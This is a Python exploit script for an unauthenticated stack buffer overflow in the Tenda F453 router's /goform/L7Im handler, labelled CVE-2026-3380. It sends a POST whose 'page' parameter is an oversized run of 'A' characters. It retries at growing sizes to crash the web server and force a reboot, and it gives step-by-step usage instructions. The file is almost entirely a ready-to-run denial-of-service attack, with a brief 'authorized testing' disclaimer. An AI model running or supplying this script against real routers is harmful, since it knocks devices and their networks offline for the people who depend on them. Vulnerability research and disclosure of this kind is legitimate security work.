#!/usr/bin/env python3
# Exploit Title: Tenda F453 frmL7ImForm Buffer Overflow
# CVE: CVE-2026-3380
# Date: 2026-03-01
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://www.tenda.com.cn/
# Software Link:
# Affected: Tenda F453 v1.0.0.3
# Tested on: Tenda F453 v1.0.0.3
# Category: Remote
# Platform: Embedded (Linux-based router)
# Exploit Type: Denial of Service / Buffer Overflow
# CVSS: 8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Description: Stack-based buffer overflow in /goform/L7Im via the 'page' parameter
# due to unsafe use of sprintf/strcpy in frmL7ImForm function.
# Fixed in:
# Usage:
# python3 exploit.py <target_ip> [size]
#
# Examples:
# python3 exploit.py 192.168.0.1
# python3 exploit.py 192.168.1.1 2300
#
# Options:
# -- (no additional options implemented)
#
# Notes:
# • For authorized testing / research purposes only
# • Most likely causes httpd crash → device reboot (DoS)
# • Unauthenticated in affected firmware version
#
# How to Use
#
# Step 1:
# Connect to the same network as the target router
#
# Step 2:
# Run the script with the router's LAN IP address
#
# ────────────────────────────────────────────────
import sys
import requests
import urllib.parse
import time
def trigger_overflow(target, size=2048):
url = f"http://{target}/goform/L7Im"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": f"http://{target}/",
"Connection": "close",
}
overflow = "A" * size
data = {
"page": overflow,
"module": "L7Im",
"action": "apply",
}
body = urllib.parse.urlencode(data)
print(f"[*] Sending to {url}")
print(f" Payload length : {len(overflow)} bytes")
try:
r = requests.post(
url,
data=body,
headers=headers,
timeout=6,
allow_redirects=False,
verify=False
)
print(f"[+] Got response → HTTP {r.status_code}")
print(f" Content-Length: {len(r.content)} bytes")
except requests.exceptions.Timeout:
print("[!] TIMEOUT → very likely crashed / httpd died")
except requests.exceptions.ConnectionError as e:
print(f"[!] ConnectionError: {e} → device probably rebooted")
except Exception as e:
print(f"[!] Unexpected error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 exploit.py <target_ip> [size]")
print("Example: python3 exploit.py 192.168.0.1 2300")
sys.exit(1)
target_ip = sys.argv[1].strip()
payload_size = int(sys.argv[2]) if len(sys.argv) > 2 else 2048
print(f"[+] CVE-2026-3380 Exploit - Tenda F453 /goform/L7Im")
print(f" Target: {target_ip}")
print(f" Size : {payload_size} bytes\n")
for sz in [payload_size, payload_size + 512, payload_size + 1024]:
print(f"\n─── Trying size = {sz} ───")
trigger_overflow(target_ip, sz)
time.sleep(2)
